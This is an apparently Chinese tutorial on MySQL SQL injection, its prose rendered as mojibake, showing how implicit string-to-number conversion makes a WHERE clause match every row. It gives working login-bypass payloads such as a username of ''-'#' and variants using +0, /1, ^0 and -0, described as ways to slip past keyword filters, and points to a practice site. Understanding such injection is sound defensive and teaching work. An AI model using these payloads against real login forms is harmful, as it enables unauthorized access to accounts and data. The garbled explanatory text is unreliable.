ʹMySQLַʵʩɻSQLע빥
һ
±ṹ
mysql> desc admin;
+----------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+----------------+
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
| name | char(32) | NO | UNI | NULL | |
| password | char(32) | NO | UNI | NULL | |
+----------+--------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)
ִselect * from admin;ɹм¼ݡ
+----+--------+----------------------------------+
| id | name | password |
+----+--------+----------------------------------+
|1 | admin| c6dabaeeb05f2bf8690bab15e3afb022 |
|2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
|4 | n00b | ff80e8508d39047460921792273533a4 |
+----+--------+----------------------------------+
3 rows in set (0.00 sec)
ִselect * from admin where name=;ûƥ䵽κμ¼
mysql> select * from admin where name = '';
Empty set (0.00 sec)
ôִselect * from admin where name = -;
+----+--------+----------------------------------+
| id | name | password |
+----+--------+----------------------------------+
|1 | admin| c6dabaeeb05f2bf8690bab15e3afb022 |
|2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
|4 | n00b | ff80e8508d39047460921792273533a4 |
+----+--------+----------------------------------+
3 rows in set, 3 warnings (0.00 sec)
ԿҲɹм¼warningsǿ¾Ϣ
mysql> show warnings;
+---------+------+------------------------------------------
| Level | Code | Message
+---------+------+------------------------------------------
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
+---------+------+------------------------------------------
3 rows in set (0.00 sec)
ʾض˴DOUBLEֵadminȵȣһַ͵ʹ͵ֵʱྯ档 ǵִselect -;½
mysql> select ''-'';
+-------+
| ''-'' |
+-------+
| 0 |
+-------+
1 row in set (0.00 sec)
0Ҳ˵DzѯÿһеnameӶζ0ԱȣͻᴥһתnameֶתĽҲȻΪ0
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
+-----------------------------------------------------+
| CAST((select name from admin limit 1,1) as DECIMAL) |
+-----------------------------------------------------+
| 0 |
+-----------------------------------------------------+
1 row in set, 1 warning (0.00 sec)
where乹ȵwhere 0==¼ء
SQLע볡: http://www.sqlzoo.net/hack/
ƹ¼֤ѾһͳtipsûΪ or = ƹʽܳﲻپˡ
ôͨηֵļɣʹһ൱ɵķʽұʹSQLؼ֣ƹ¼
nameӶ롯-#passwordգƹ¼֤
ˡ-+,*,^ͬЧ ټвԣǷֻҪڱպϵŵϵѯΪ0
mysql> select ''/1;
+------+
| ''/1 |
+------+
| 0 |
+------+
1 row in set (0.00 sec)
Ƶġ+0,-0,*0,^0ɡ ôղŵע뻷ʹµľpayloadͬƹ¼֤ +0#/1#^0-0#ȵȡ
һԣĿעеSQLؼֽйʱͨһַʽBypass
ҳ:
[1]